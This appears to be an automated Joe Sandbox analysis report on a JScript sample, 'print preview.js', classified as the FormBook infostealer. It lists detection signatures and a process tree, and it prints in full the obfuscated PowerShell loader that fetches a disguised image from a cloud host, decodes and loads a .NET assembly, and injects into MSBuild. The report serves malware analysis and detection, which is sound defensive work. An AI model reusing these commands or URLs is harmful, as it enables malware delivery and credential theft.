Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
print preview.js

Overview

General Information

Sample name:print preview.js
Analysis ID:1573029
MD5:6bdeaa07eecfe3ac683a035cc6862835
SHA1:a58508f817bb84ae1fd3136bfb19b92d3a851887
SHA256:8e036deab10aad80da9d5eb558d660ae76b5321b392ade3973c609c84df85524
Tags:jsuser-lowmal3
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Paste sharing url in reverse order
Sigma detected: Powershell download and load assembly
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Net WebClient Casing Anomalies
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 7520 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • wscript.exe (PID: 7704 cmdline: "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.js MD5: A47CBE969EA935BDD3AB568BB126BC80)
      • powershell.exe (PID: 7760 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGgAaQBsAGwAbwBjAGsAZQBkACkAOwAkAHMAdAByAHUAdAB0AGUAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABuAG8AbgBnAGEAeQBzACkAOwAkAG0AZQBkAGkAYwBhAGwAcwAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkAOwAkAG0AZQBkAGkAYwBhAGwAcwAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABAACgAJwAwAC8AagBMAGIANwBBAC8AcgAvAGUAZQAuAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAJwAsACAAJwBkAG8AYgBzAG8AbgAnACwAIAAnAGQAbwBiAHMAbwBuACcALAAgACcAZABvAGIAcwBvAG4AJwAsACAAJwBNAFMAQgB1AGkAbABkACcALAAgACcAZABvAGIAcwBvAG4AJwAsACAAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwAxACcALAAnAGQAbwBiAHMAbwBuACcAKQApADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsA';$commy = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($orgiasts));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $commy MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7892 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };" MD5: 04029E121A0CFA5991749937DD22A1D9)
          • MSBuild.exe (PID: 8176 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)
    • choice.exe (PID: 3576 cmdline: "C:\Windows\SysWOW64\choice.exe" MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
      • firefox.exe (PID: 3184 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000008.00000002.1989278697.00000000012A0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        0000000B.00000002.2697311671.0000000004A70000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          0000000B.00000002.2697161668.0000000004A20000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 4 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            8.2.MSBuild.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              8.2.MSBuild.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Other

                SourceRuleDescriptionAuthorStrings
                amsi64_7892.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

                  Sigma Signatures

                  Networking

                  barindex
                  Sigma detected: Paste sharing url in reverse order
                  Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEac

                  System Summary

                  barindex
                  Sigma detected: Base64 Encoded PowerShell Command Detected
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHI
                  Sigma detected: Net WebClient Casing Anomalies
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AG